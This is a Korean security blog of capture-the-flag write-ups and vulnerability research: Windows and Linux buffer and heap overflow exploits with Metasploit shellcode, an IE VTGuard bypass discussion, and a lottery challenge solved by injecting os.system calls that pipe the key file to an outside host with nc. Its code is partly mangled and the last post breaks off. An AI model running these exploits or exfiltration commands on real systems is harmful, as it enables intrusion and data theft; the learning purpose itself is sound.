sweetchip's blog

0x10 정보보안/0x15 System 32건이 검색되었습니다.


안녕하세요.


오랜만에 포스팅 거리가 없었는데 새로 생겼네요!


제가 고3 시절 KISA 버그바운티 기념품으로 USB를 받았는데 잘 쓰다가 갑자기 죽어버린 USB가 있었습니다.


그 USB에는 여러 Exploit Code들과 제 자기소개서등이 들어있었는데 인식이 불가능해서 일단 보관해두고 있었는데


얼마전에 갑자기 인식에 성공해서 파일을 복구[?] 하는데 성공했습니다 ㅋㅋ


2013년에 시간이 멈춰버린 파일들을 구경하다 보니 별의별 것들이 나왔는데.. (bob 자기소개서, 대학 자기소개서, 모의전형 자기소개서 등..)


그중에 KMPlayer Exploit 코드가 있길래 2년이 반이라는 충분한 시간이 지났으니 공개해보려고 합니다 ㅋㅋ


이게 제 첫번째 공개 취약점이 될 것 같네요


당시에는 제 익스플로잇 기술이 매우 허접한 편이라서 매우 낮은 확률의 코드를 짰었네요..


취약점을 공부하는 분들을 위해서 패치기간이 2년이나 지났으니 더이상 동작하지 않을 것이라 보고..


예전 익스플로잇 코드를 공개하겠습니다. (사실 별거아닙니다.. 워낙 허접해서.. 확률도 30% 남짓이었던걸로 기억합니다.)


당시에 Exploit 조건이 매우 까다로워서 (ASLR, DEP ASCII Only etc) 어쩔수 없이 그랬던 걸로 기억하네요 :(


http://pastebin.com/rvxLzka7


어쨋든!


공부하실 분들이 있을 것 같아 공개합니다 ㅎㅎ



위는 시연 영상입니다.


오랜만에 새벽에 뻘글.. :)

신고

Comment 4

  • 2015.11.12 07:41 신고 수정 답글

    감사합니다 ㅎㅎ :)

  • 2015.11.12 08:09 수정 답글

    비밀댓글입니다

  • ㅈㅈ
    2017.10.10 13:16 신고 수정 답글

    해당 취약점은 퍼저를 통해 찾으신건가요?

    • 2017.10.11 20:00 신고 수정

      퍼징 툴을 이용하진 않았고 flac 메타데이터를 바꿔주는 툴을 이용하여 정보들에 A를 수십만개 넣는 방식으로 발견했던 취약점으로 기억합니다!




오랜만의 기술문서를 배포하게 되었습니다.


화이트해시, 그레이해시 인턴 과정을 거치면서 연구했던 IE의 보호기법과 현재 나와있는 우회법을 간단하게 정리했습니다.


기술에서 테크니컬한 내용은 자세하게 다루지 않았습니다. 대신 중간중간 참고할만한 링크도 함께 걸어두었습니다.


도움이 되었으면 좋겠습니다.



* 틀린점이 있다면 sweetchip@sweetchip.kr 이나 아래 댓글로 달아주시면 감사하겠습니다.


- https://beistlab.wordpress.com/2015/01/15/grayhash_ie_memory_protection/



신고

댓글 0



블로그 포스팅을 너무 오랫동안 안했네요!!...


그동안 바쁘긴 했는데.. 그래도 뭐좀 쓰자 해서.. 얼마전에 출제한 문제의 write-up이 적절할 것 같아서 쓰기로 했습니다!


14년 11월 6일부터 7일! 2일간 POC 컨퍼런스가 있었습니다.


[위는 POC에서 얻은 것들.. 이번 입장권은 이쁘네요.. ㅎㅎ]


그리고 POC 이벤트 행사 중 여성해킹대회인 POWER OF XX 본선 경기가 있었습니다.


POX는 숙명여대 SISS와 HackerSchool - Wiseguys 팀이 함께 진행하는 행사였고 저는 작년과 마찬가지로 문제 출제를 담당했습니다.


아쉽게도 이번엔 바쁜일이 많아서 문제를 1개밖에 출제하지 못했었네요.. ㅠㅠ


아무튼 이번에 제가 출제했던 분야는 Pwnable이고 특이하게도 리눅스에서의 Pwnable이 아닌 윈도우에서의 Pwnable 문제입니다.


주로 리눅스보다 윈도우에서 시스템 해킹분야를 공부하다 보니 나름[?] 신선하겠다 해서 출제를 결심하게 되었습니다.


게다가 본선 진출팀중에서 윈도우 시스템 해킹을 공부했던 분이 몇분 있는걸로 알고 있고, 또 문제도 그리 어렵게 내지는 않을거라서 별 문제 없겠다 생각했습니다.


Binary :

brokenwindow


Description :

Can you Break Windows?

Key Example : flag{this_is_flag} -> this_is_flag

[Pwnable]


본격적인 풀이에 들어가기 앞서..

현재 Binary에 적용된 메모리 보호기법은 아래와 같습니다.
ASLR : ON
DEP : OFF
STACK COOKIE : ON
SAFE SEH : OFF

ASLR은 메모리 배치를 무작위로 해서 Exploit을 어렵게 하는것이고 Stack Cookie는 BOF를 체크하는 문제입니다.


4가지 보호기법 모두 컴파일러에 기본적으로 적용되어 있는 메모리 프로텍션들입니다.


하지만 난이도를 조절하기 위하여 일부 보호기법을 해제했습니다.


문제 컨셉은 제로데이 마켓입니다. (뭘 할까 하다가..)


sub_401000 proc near


var_4= dword ptr -4


push ebp

mov ebp, esp

push ecx

mov [ebp var_4], ecx

mov eax, [ebp var_4]

mov dword ptr [eax], 5 ; my_zeroday

mov ecx, [ebp var_4]

mov dword ptr [ecx 4], 2710h // 10000

mov edx, [ebp var_4]

mov dword ptr [edx 328h], offset sub_401070 // Function Pointer

mov eax, [ebp var_4]

mov esp, ebp

pop ebp

retn

우선 구조체를 설정하는 부분입니다.


위를 다시 코드로 정리해보면 아래와 같습니다


typedef struct st

{

int my_zeroday = 5;

int money = 10000;

??? // char description[500];

??? // char name[300]; - 두 값 모두 보이지는 않지만 실제론 이렇게 되어있습니다.

void* func_ptr = &sub_401070;

}st;


그리고..


sub_401070 proc near

push ebp

mov ebp, esp

push offset aThankYou_HaveA ; "[*] Thank you. Have a nice day\n"

call _puts

add esp, 4

pop ebp

retn


구조체 중 Function Pointer를 보면 단순하게 '고맙습니다, 좋은하루 되세여' 라는 뜻의 문장을 출력해주는 함수입니다.


이 다음부턴 급 귀찮아지니 우리의 친구 F5를 사용하겠습니다


signed int __cdecl sub_401090()

{

int v0; // eax@1

void (*v2)(void); // [sp 4h] [bp-370h]@0

int v3; // [sp 8h] [bp-36Ch]@5

int v4; // [sp Ch] [bp-368h]@1

int v5; // [sp 10h] [bp-364h]@6

char v6; // [sp 14h] [bp-360h]@13

char v7; // [sp 208h] [bp-16Ch]@13

void (*v8)(void); // [sp 334h] [bp-40h]@8

char WideCharStr; // [sp 338h] [bp-3Ch]@5

char v10; // [sp 33Ch] [bp-38h]@16


v0 = sub_40138A();

setvbuf((FILE *)(v0 32), 0, 4, 0);

sub_401000(&v4);

while ( dword_4154E4 < 30 )

{

dword_4154E4;

if ( dword_4154E4 > 50 )

exit(0);

sub_401030();

puts("> ");

sub_40A587(0, (LPWSTR)&WideCharStr, 2u);

v3 = sub_402175(&WideCharStr);

if ( v3 == 1 )

{

if ( v5 >= 5000 )

{

v5 -= 5000;

puts("[*] You bought a new 0day! and paid 5000won.");

v2 = v8;

v8();

}

else

{

puts("[-] You don't have any money. Go back..");

}

}

else if ( v3 == 2 )

{

if ( v4 >= 1 )

{

puts("[ ] Input Vulnerability Title : ");

sub_40A587(0, &::WideCharStr, 0x12Cu);

memmove(&v7, &::WideCharStr, 0x12Cu); // Information Leak

puts("[ ] Input Details about your 0-day: ");

sub_40A587(0, &word_4151C0, 0x1F4u);

memmove(&v6, &word_4151C0, 0x1F4u);

sub_40147B("[*] Title : %s\n[*] DESC : %s\n", (unsigned int)&v7);

puts("[*] Thank you! you got 3000Won");

((void (__cdecl *)(void (*)(void), void (*)(void)))v8)(v8, v2);

v5 = 3000;

--v4;

}

else

{

puts("[-] Hmm, I don't have any zeroday..");

}

}

else

{

if ( v3 == 3 )

{

puts("[ ] HELLO? : ");

sub_40167F("%s", (unsigned int)&v10); // scanf BOF!!

puts("[*] YOU GOT PWNED :)");

return 1;

}

if ( !v3 )

{

puts("[-] bye");

return 1;

}

puts("[?] WTF");

}

}

return 1;

}


우선 코드를 간단하게 정리해보면

처음 메뉴 1,2,3 을 출력하고 각 선택할때 분기문으로 흘러갑니다.

1번 분기는 제로데이를 구입하는것이고

2번 분기는 제로데이를 판매하는데 title과 description을 적습니다. 그리고 임시로 전역변수에 담고 이후 구조체변수에 담습니다.

3번 분기는 제로데이를 마음껏 사용하는 메뉴입니다.


하나하나 살펴보면..


3번 분기에서 scanf와 %s로 인하여 Buffer Overflow 취약점이 발생하고 Return Address를 덮어쓸 수 있습니다.


하지만! 아까 처음 보호기법에 의하면 ASLR과 Stack Cookie가 적용되어 있기 때문에, 리턴어드레스를 덮어씌우는 것 만으로는 부족합니다.


하지만! DEP가 설정되어있지 않기 때문에 쉘코드 실행은 간단하죠!


하지만! 쉘코드를 어디에 둬야 하는지 약간 의문이 들기도 합니다. 이것에 대한 답은 2번 분기에서 Vuln Title과 Description을 적는곳이 있었는데


이부분에 잠시 전역변수에 값을 담고 구조체로 옮기기 때문에 전역변수에 쉘코드를 담는다면 다른 메뉴로 가도 여전히 쉘코드가 남아있을 것입니다.


이때 전역변수의 값은 Base address offset 이고, offset은 일정하기 때문에 Base Address만 구해주면 문제를 간단하게 해결할 수 있습니다.


또한 이때 Base Address는 2번 메뉴의 memmove 함수로 인하여 구조체의 Function Pointer의 값을 유출할 수 있습니다. (Info Leak)


마지막으로 Stack Cookie 보호기법이 있기때문에 Return Address의 값을 손상시켜도 EIP가 제대로 컨트롤 되지 않을 것입니다.


이는 SEH Overwrite를 이용하여 우회할 수 있습니다. 간단하게 설명하면 SE Handler 값을 변조시키고 의도적으로 Exception을 발생하면 EIP 변경이 가능합니다.


자세한건 검색!



써놓고보니 복잡하지만 다시 정리하면


1. BOF 취약점

2. 전역변수에 쉘코드를 담고

3. Info Leak으로 Function Pointer의 값을 유출 시켜 Base Address를 구한뒤

4. SEH Overwrite로 전역변수 위치(Base Address offset)로 EIP 변조


위 과정을 거치면 쉘을 딸 수 있습니다.


#exploit.py

from socket import *

import threading

import time

import struct


up = lambda x : struct.unpack("

p = lambda x : struct.pack("



def payload():

# metasploit

# use payload/window/shell_reverse_tcp

# bad char : 0x00 0xff 0x0a 0x0d 0x1a

shellcode =( 삭제 )

result = ""

result = "\x90"*50

result = shellcode

return result


def bad():

result = ""

for i in range(1, 26):

result = chr(i)

return result


ip = "192.168.0.93"

port = 1337

s = socket(AF_INET, SOCK_STREAM)

s.connect((ip, port))


time.sleep(0.1)

print s.recv(2048)

s.send("2")

print s.recv(4096)

s.send("A"*300)

time.sleep(0.1)

print s.recv(4096)

p = payload() "A"*(500-len(payload()))

s.send(p)

time.sleep(0.1)

temp = s.recv(40960)

ptr = temp.split("A"*300)[1].split("[*]")[0].replace("\x0d\x0a","")[0:4] # RAW memor (leaked)

print temp


if len(ptr) == 3:

ptr = "\x00"


print ptr.encode("hex")

print "base address : " hex(up(ptr)&0xffff0000)

print "shellcode address : "

shellptr = ((up(ptr)&0xffff0000) 0x151c0 0x20)



s.send("3")

time.sleep(0.1)

print s.recv(4096)

exploit = "A"*116

exploit = struct.pack("

exploit = "D"*10000

s.send(exploit)


s.close()



확률은 거의 90% (aslr 때문에..)로 작동합니다.



C:\Users\sweetchip\Desktop>exploit.py

[-]*********************************************************************

[*] WELCOME TO ZERODAY MARKET. SELECT MENU :)

[ ] 1.BUY ZERODAY

[ ] 2.SALE ZERODAY

[ ] 3.USE ZERODAY

[ ] 0.EXIT

[-]*********************************************************************

>


[ ] Input Vulnerability Title :


[ ] Input Details about your 0-day:


[*] Title : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAp2롤?


[*] DESC : 릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱柏?$??B?O1r꺜

r캠??塢까??J次.gx蝕?,理?

홃뱩?

DR?눛씵xsN??;㎯!|0?궃ㅨ괺\Td?0?k6?섏}?=}穗???笠잶

렁[?\쎒V盖梓?벣앵E냰?꺢??

j픽]$괼7냟y?樺?}%a곽p?lu?z2 <1???&W힅?2샹-~zT\程Z?:AAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAp2롤?

[*] Thank you! you got 3000Won

[*] Thank you. Have a nice day


[-]*********************************************************************

[*] WELCOME TO ZERODAY MARKET. SELECT MENU :)

[ ] 1.BUY ZERODAY

[ ] 2.SALE ZERODAY

[ ] 3.USE ZERODAY

[ ] 0.EXIT

[-]*********************************************************************

>


70101e01

base address : 0x11e0000L

shellcode address :

[ ] HELLO? :



C:\Users\sweetchip>nc -lvp 31337

listening on [any] 31337 ...

connect to [192.168.0.93] from [Blind] [192.168.0.93] 62851

Microsoft Windows [Version 6.1.7601]

Copyright (c) 2009 Microsoft Corporation. All rights reserved.


K:\prob_server>dir

dir

K 드라이브의 볼륨: [Blind]

볼륨 일련 번호: A497-E7DC


K:\prob_server 디렉터리


2014-11-09 오후 09:02

.

2014-11-09 오후 09:02

..

2014-11-06 오전 09:50 84,992 brokenwindow.exe

2014-11-06 오전 10:22 45 key.txt

2014-11-06 오전 09:50 75,264 loader.exe

2014-11-03 오전 11:09 32 run.bat

4개 파일 160,333 바이트

2개 디렉터리 5,296,316,416 바이트 남음


K:\prob_server>type key.txt

type key.txt

flag{Only_True_Love_Can_Break_Frozen_Windows}

K:\prob_server>


Key : Only_True_Love_Can_Break_Frozen_Windows


키는 POC 2014에서 passket & SNE, "Only True Love Can Thaw frozen SCADA Systems" 의 발표제목을 참고했습니다. ㅋㅋ


음...


끝!! ㅋㅋ



신고

Comment 6

  • Reset
    2014.11.09 21:55 신고 수정 답글

    이거 푼 팀이 있음?ㅋㅋㅋㅋㅋㅋㅋㅋ

    • 2014.11.10 00:15 신고 수정

      전반적으로 팀들이 시도를 안하는것 같았음..
      그래서 푼팀은 없었음.. ㅠㅠ 아쉽

  • hakbaby
    2014.11.10 10:21 신고 수정 답글

    휴 아쉽당 ㅠㅠ 시도라두 해볼걸 ㅠㅠ
    괜히 겁먹어서는 ㅠㅠ 에효
    다음엔 꼭 풀께요!!! :D

  • bloneplay
    2014.11.11 18:59 신고 수정 답글

    재밌게 잘 만든 문제같은데 시도한 팀도 많이 없었다니 아쉽네요 ㅋ


오랜만의 포스팅!


지난번 데프콘에 갈 기회가 생겨서 다녀오게 되었는데 귀국후 바로 인코그니토 CTF와 친척들과의 휴가, 그리고 인코그니토 발표까지


대략 2주동안 힘들게 지낸끝에 모든일이 끝났다 ㅎㅎ..



2월 말까지 BOB 프로젝트로 웹브라우저 취약점 헌팅과 7월 말까지 WhiteHash를 진행하게 되면서 다시 한번 웹브라우저 취약점 헌팅에 도전하면서


IE를 분석하게될 일이 있었는데 VTGuard에 대해서 몇글자 써보려고 한다.




IE 10부터 VTGuard가 적용되었는데 이는 IE만의 Memory Protection중 하나이다.


VTGuard의 원래 이름은 Vtable Guard인데 원래 Vtable에 있어야 하는 일정한 쿠키값과 현재 Vtable의 쿠키값을 비교해서 무결성을 체크하는 기법이다.


그 원리에 대해서 간단하게 알아보자




우선 mshtml.dll의 내부를 뜯어보면 __vtguard 라는 함수가 자리를 차지하고 있는데 함수의 내용을 살펴보면


mov edi, edi

int 3

retn


이 끝이다. 처음 봤을때는 이게 진짜 끝인가 하고 이름을 좀더 추측해서 여러가지를 찾아봤지만 이 vtguard 함수가 끝이다.




그러다가 xref를 살펴보니 엄청나게 많은 양의 참조가 있는것을 보았는데 대부분 사용되는 것은 구조체안의 또다른 구조체 어느 값(vtable값중 일부)과 vtguard의 주소를 비교하는 것을 볼 수 있다.




이처럼 처음 mov ecx, [esi] 로 vtable의 pointer를 얻어오고 cmp dword ptr [ecx 328h]로 vtable cookie를 확인하는 것을 볼 수 있다.


간단하게 다시 글로 나타내면


|ptr to vtable| ???? | ???? | ???? | ???? | ???? | <- Heap Object

|????|????|????|????|????|cookie| <- Vtable


대략 이런 형태로 볼 수 있는데, 이때 cookie 값에는 mshtml이 로드된 뒤, (base address offset __vtguard) 의 값이 저장되어 있을 것이다.





그렇다면 어떤 효과가 있을까?


Heap Overflow에서는 효과가 적을 수도 있겟지만, Use After Free 취약점에 대해서는 어느정도 방어가 가능하다.


만약 위 그림의 .text:636dc10f의 ESI 레지스터가 Free된 Object의 포인터이고 공격자가 Object의 내용을 조종한 상태라고 가정한다.


또한 정상적인 Heap object와 vtable에는 각각 정상적인 ptr to vtable값과 cookie값이 들어가 있을 것이다.


------------------------------------------------------------------------------------------

정상적인 Heap Object

|Ptr to vtable (0x100a324b)| ???? | ???? | ???? | ???? | ???? | <- Heap Object

|????|????|????|????|????|cookie (0x63d2dfb4)| <- Vtable

------------------------------------------------------------------------------------------

UAF 취약점으로 인하여 변조된 Heap Object

|Ptr to vtable (0x12121212)| 0x12121212 | 0x12121212 | 0x12121212 | 0x12121212 | 0x12121212| <- Fake Heap Object

|0x0c0c0c0c|0x0c0c0c0c|0x0c0c0c0c| ... |0x0c0c0c0c|cookie(0x0c0c0c0c)| <- Fake Vtable

------------------------------------------------------------------------------------------


Object를 0x12121212 로 채워넣고 0x12121212 주소에는 0x0c0c0c0c가 채워져있다.


이 상태로 Vtguard 루틴으로 들어갈 경우 cmp dword ptr [ecx 328], offset __vtguard 부분에서 걸러지고




이후 프로세스가 혼자 죽어버린다.




엄청난 우회법은 현재 나와있지 않은 상태이다.


하지만 Vtguard는 __vtguard 함수의 주소를 Cookie로 사용하고 있기때문에 Information disclosure 버그로 mshtml의 Base Address 주소와


현재 mshtml 버전의 __vtguard 함수의 Offset만 더해서 구해주고 Fake Vtable에 삽입하면 된다.


하지만 말처럼 Information disclosure 버그를 찾는게 쉬운게 아니라서 조금더 간단한 방법을 찾아봐야 한다.



일단 Vtguard는 모든 Vtable에 대하여 적용된 것이 아니다.


또한 vtguard 체크 부분은 함수 실행 직전에 존재하며 함수 실행 여부는 이전의 분기문에서 결정된다.


또한 Heap object에는 생각보다 많은 정보를 담고 있다. 예를들어 다른 object의 주소같은것도 포함되어있다.



그러므로 UAF가 발생하고 Fake Object를 제작한 다음


vtable 함수 호출 분기문 이전에 여러 분기문으로 옮겨 다닐 수 있다면 Vtguard에 영향받지 않을 수도 있다는 것이다.


왜냐하면 조금전에 Vtguard는 모든 Vtable에 대해서 적용되지 않았기 때문에 아래와 같은 일이 일어날 수 있다.


|ptr to vtable| Heap object | ???? | ???? | ???? | ???? | <- Heap Object

|????|????|????|????|????|cookie| <- Vtable


Object가 만약 이렇게 구성되어 있고 운이 좋다면 Heap object 를 사용하는 분기문으로 이동 할 수도 있다.


|ptr to vtable| ???? | ???? | ???? | ???? | ???? | <- Heap object

|????|????|????|????|????|????| <- Vtable


그리고 이처럼 그 Object는 Vtguard가 적용되지 않은 Vtable의 주소를 가지고 있으면 게임 끝이다. (vtguard는 일부에만 적용된 것이므로 은근 이런 case가 간혹 있다. 끝까지 잘 찾아보자.)


이로써 (운이 좋으면) Vtguard에 영향을 받지 않고도 EIP Control이 가능하다.



Conclusion.


운이 좋으면 Vtguard에 영향받지 않고 EIP를 바꿔버릴 수 있다. 포기하지 말고 끝까지 살펴보자.



Reference


http://neilscomputerblog.blogspot.kr/2014/04/vtguard.html




만약 틀린 정보가 있으면 댓글 달아주시면 감사하겠습니다. (졸면서 글을 쓰고 있네요.. 틀린점이 있을지도.. ㅋㅋ )


바로 수정하겠습니다!


ps. 같이 연구하면서 도움을 주신 몽형 감사합니다.


신고

Comment 2





안녕하세요 sweetchip입니다.


BOB 2기 2학기당시 진행한 프로젝트를 진행하는 도중에 이전에 공개된 취약점을 분석하고 Exploit을 진행 했던 과정이 있었습니다.


그당시 문서로도 함께 제작해두었는데 왠지 필요하신 분이 있을것 같아서


그리고 조금더 분석을 편리하게 하는 방법을 공유하고자 문서를 공개하게 되었습니다.


당시 IE 분석은 '처음' 이었기 때문에 주로 취약점 분석과 공격을 '검색'하고 실습하면서 작성했기 때문에 IE 취약점 분석을 많이 해보신 분이라면


에이 뭐야 하실수도 있는 내용입니다.


도움이 되었으면 합니다.



CVE-2012-4792 Analysis Report(sweetchip)_release.pdf




문서의 대부분은 짱짱해커들이 있는 Exodus Intelligence와 타 문서들, 그리고 블로그를 참고했고 다른 내용도 여러 블로그를 참고하면서 작성했습니다.


* 틀린 내용이 있다면 꼭 반드시 sweetchip@sweetchip.kr 로 보내주시면 감사하겠습니다.

신고

Comment 2






invalid-file


C:\Users\Administrator>nc 58.229.183.27 7787

Welcome to lottery service


-------- the Hall of Fame --------

No one was win!

Good luck!

----------------------------------


Please pick 7 numbers in 1 to 45

Choice 1: 2

Choice 2: 7

Choice 3: 9

Choice 4: 15

Choice 5: 17

Choice 6: 18

Choice 7: 34

Congratulations!


We will record your name in the Hall of Fame!

Your name: sweetchip

Comment: __import__('os').system('dir|nc 220.117.247.200 12071')

__import__('os').system('cat key|nc 220.117.247.200 12071')

Thank you for your time


C:\Users\Administrator>nc -lvp 12071

listening on [any] 12071 ...

58.229.183.27: inverse host lookup failed: h_errno 11004: NO_DATA

connect to [192.168.0.93] from (UNKNOWN) [58.229.183.27] 37075: NO_DATA

examples.desktop key lotto.pyc





C:\Users\Administrator>nc 58.229.183.27 7787

Welcome to lottery service


-------- the Hall of Fame --------

No one was win!

Good luck!

----------------------------------


Please pick 7 numbers in 1 to 45

Choice 1: 5

Choice 2: 13

Choice 3: 15

Choice 4: 17

Choice 5: 19

Choice 6: 28

Choice 7: 41

Congratulations!


We will record your name in the Hall of Fame!

Your name: sweetchip

Comment: __import__('os').system('cat key|nc 220.117.247.200 12071')


Thank you for your time


C:\Users\Administrator>nc -lvp 12071

listening on [any] 12071 ...

58.229.183.27: inverse host lookup failed: h_errno 11004: NO_DATA

connect to [192.168.0.93] from (UNKNOWN) [58.229.183.27] 37076: NO_DATA

ProtiP_BO0ZE_TO_K1LL_HANGOVER



간단한 파이썬으로 작성된 문제이다.


무작위로 생성된 7개의 숫자를 맞추면 코멘트를 남길 수 있는 방식인데


여기서 간단하게 트릭을 사용할 수 있다.


랜덤값은 시간값을 베이스로 생성되는데 nc를 2개를 타닥 연결시키고 한개를 아무 숫자나 넣어주고 틀리면 정답이었던 숫자들이 출력되는데


이미 연결되었던 다른 nc에 똑같이 그 값을 입력하면 대부분 성공할 수 있었다.


문제 점수를 보면 아마 제작자의 의도는 이게 아니었을것으로 예상된다.


어쩃든 성공시키고 나면 eval 함수를 이용해서 명령을 시행하는데 적절하게 잘 해주면 키파일을 열 수 있다.


신고

댓글 1



binary :

SERVER.rb


require 'drb/drb'


# The URI to connect to

#SERVER_URI="druby://127.0.0.1:8988"

SERVER_URI="druby://23.23.190.205:8988"


# Start a local DRbServer to handle callbacks.

#

# Not necessary for this small example, but will be required

# as soon as we pass a non-marshallable object as an argument

# to a dRuby call.

DRb.start_service


timeserver = DRbObject.new_with_uri(SERVER_URI)

puts timeserver.get_current_time1



서버가 닫혀있어서 시도해보진 못햇지만 잘못된 메소드 이름을 사용하면 오류가 발생할것이고


그 안에 변수로 설정된 flag도 함께 출력된다


위 exploit이 다르면 덧글로 달아주세요


관리자에게 서버 관련 문의를 해도 정상적이라는 답변만 돌아와서 시도하지는 못했습니다.

신고

댓글 0



주제 : simple stack based buffer overflow


binary :

chall_heap



import time

import struct


p = lambda x : struct.pack("


write = 0x08048440


ppppr = 0x080486a6

pppr = ppppr 1

ppr = pppr 1

pr = ppr 1

r = pr 1



payload = "A" * 0x64


for i in range(0x09371008, 0x094ed008, 0x1000):

payload = p(write) # ret here

payload = p(pppr)

payload = p(1)

payload = p(i)

payload = p(0x1000)


f = open("a.txt", "wb")

f.write(payload)

f.close()


"""

root@ubuntu:/home/sweetchip/Desktop/cyber/ncon# execstack ./chall_heap

- ./chall_heap

root@ubuntu:/home/sweetchip/Desktop/cyber/ncon# while [ 1 ] ; do (cat a.txt) | nc 23.23.190.205 8976 ; done > nc.txt

^C

root@ubuntu:/home/sweetchip/Desktop/cyber/ncon# cat nc.txt | sort | uniq -c

1 ?Good Enough? Pwn Me!

1 96d1c4d1f47b666928a37f7dd6a4383e

77 Good Enough? Pwn Me!


key : 96d1c4d1f47b666928a37f7dd6a4383e


"""


위 코드로 100번정도 brute-force를 시도하면 한번정도는 키가 줄력된다


으아아ㅏ..


flag : 96d1c4d1f47b666928a37f7dd6a4383e

신고

Comment 5

  • hackim
    2014.02.13 04:11 신고 수정 답글

    for문에 있는 범위가 flag가 저장된 메모리 위치인가요??
    그 위치라면 0x804a008이던데 저 값이 어디서 나왔는지 알고싶네요:D

    • 2014.02.13 13:24 신고 수정

      제가 문제풀때는 Heap 영역에 aslr이 적용되어 있었으나 0804a008, 0804c008 이런식으로 일정하게 되어있어서 예상되는 부분을 범위를 모두 send하도록 해서 한곳이라도 키값이 존재한다면 받을 수 있도록 했습니다.

    • 2014.02.13 13:25 신고 수정

      이 방법보단 got overwrite [어디선가 본 풀이..]를 하시는게 더 나을듯 하네요

  • hackim
    2014.02.13 13:46 신고 수정 답글

    아...ASLR적용됐었군요..ㅎㅎ
    답변 감사합니다. :D


.

binary :

vuln3


import time

import struct


# createheap -> allocate_big_heap -> strcpy -> deleteheap(vtable)

# simple function pointer overwrite

# heap overflow


"""

/*

* linux/x86/read_file - 97 bytes

* http://www.metasploit.com

* Encoder: x86/shikata_ga_nai

* VERBOSE=false, PrependSetresuid=false,

* PrependSetreuid=false, PrependSetuid=false,

* PrependSetresgid=false, PrependSetregid=false,

* PrependSetgid=false, PrependChrootBreak=false,

* AppendExit=false, PATH=flag.txt, FD=4

*/

"""

shellcode = ("\xb8\xf6\x7e\xa8\x82\xdd\xc6\xd9\x74\x24\xf4\x5b\x2b\xc9\xb1"

"\x12\x31\x43\x14\x03\x43\x14\x83\xeb\xfc\x14\x8b\x43\xb4\x60"

"\x71\x94\xb9\x90\x21\xa5\x70\x5d\x55\x4c\x41\xe5\x55\x4f\x46"

"\x15\xd3\xa8\xcf\xec\x59\x36\xc0\x0e\x9e\xfa\x60\x87\x5c\xbc"

"\x65\x97\x60\xbd\xde\x93\x60\xbd\x20\x56\xe0\x05\x21\x68\xe1"

"\x75\x99\x68\xe1\x75\xdd\xa5\x61\x9d\x18\xca\x9d\xa1\xc5\x58"

"\x03\x39\x24\xd4\xbb\xb1\x38")



p = lambda x : struct.pack("


pr = 0x080487e8


def createheap():

# create heap

payload = "CR"

payload = "A"*38

payload = p(0x64)

payload = "\n"

return payload


def deleteheap():

# delete heap

#payload = "DE"

payload = "\xeb\x50" # short jump

payload = "\x90" * 38

payload = p(0x32)

payload = "\x90" * 0x50

payload = shellcode

payload = "\n"

return payload


def biggheap(size):

# allocate big heap

payload = "RE"

payload = "A" * 38

payload = p(0xc8)

payload = "A" * 36

payload = p(size)

payload = "\n"

payload = "B" * (size - 4 - 4)

payload = p(pr) # ret here

payload = "\n"

return payload


def overflow():

#lead to buffer overflow

payload = "CP"

payload = "A" * 38

payload = p(0x12c)

payload = "\n"

return payload


exploit = ""

exploit = createheap()

exploit = biggheap(0x110)

exploit = overflow()

exploit = deleteheap() # trig vuln


#print exploit


f = open("ex3.txt", "wb")

f.write(exploit)

f.close()


"""

root@ubuntu:/home/sweetchip/Desktop/cyber/ncon# (cat a.txt) | nc 23.23.190.205 8888

637c0c259175d230b08e3e589278ceeb

"""


바이너리를 분석하고 heap overflow를 유도시키고 function table을 덮어 씌우고 덮어씌운 주소를 호출하도록 유도하는


exploit 코드를 작성한다



flag : 637c0c259175d230b08e3e589278ceeb

신고

Comment 4

  • 2014.02.07 03:06 신고 수정 답글

    안녕하세요. 문제풀어보다가 막혀서 이렇게 댓글답니다 ㅎㅎ
    gdb를 이용해서 동적분석 하고싶은데 이런 문제는 어떻게 동적으로 붙여야 되죠?

    다른문제처럼 바이너리 내에 socket이 들어있지도 않아서 어떻게해야될지 ㅜㅜ
    답변 기다릴게요 :D

    • p0p0pret
      2014.02.07 03:41 신고 수정

      로컬에서 분석하시거나 리모트돌리실려면 http://research.hackerschool.org/Datas/Research_Lecture/remote1.txt 참고해주세영
      remote2.txt도 있습니다.

    • 2014.02.07 03:47 신고 수정

      이시간에 답변이라니....감사합니다 ^^

  • 2015.06.21 13:54 신고 수정 답글

    안녕하세요. 이해가 안되는게 있어서 질문 드립니다.
    biggheap 에서 malloc(v8) 의 v8를 덮는 부분을 어떻게 구하신건지 궁금합니다. IDA로 계속 살펴봐도 저 v8 덮는 부분을 어떻게 구하는건지 모르겠네요..



주제 : Simple stack based buffer overflow


binary :

srv2



from socket import *

import struct

import time


p = lambda x : struct.pack("


ip = "192.168.0.109"

ip = "23.23.190.205"

port = 6776


"""

/*

* linux/x86/read_file - 97 bytes

* http://www.metasploit.com

* Encoder: x86/shikata_ga_nai

* VERBOSE=false, PrependSetresuid=false,

* PrependSetreuid=false, PrependSetuid=false,

* PrependSetresgid=false, PrependSetregid=false,

* PrependSetgid=false, PrependChrootBreak=false,

* AppendExit=false, PATH=flag.txt, FD=4

*/

"""

shellcode = ("\xb8\xf6\x7e\xa8\x82\xdd\xc6\xd9\x74\x24\xf4\x5b\x2b\xc9\xb1"

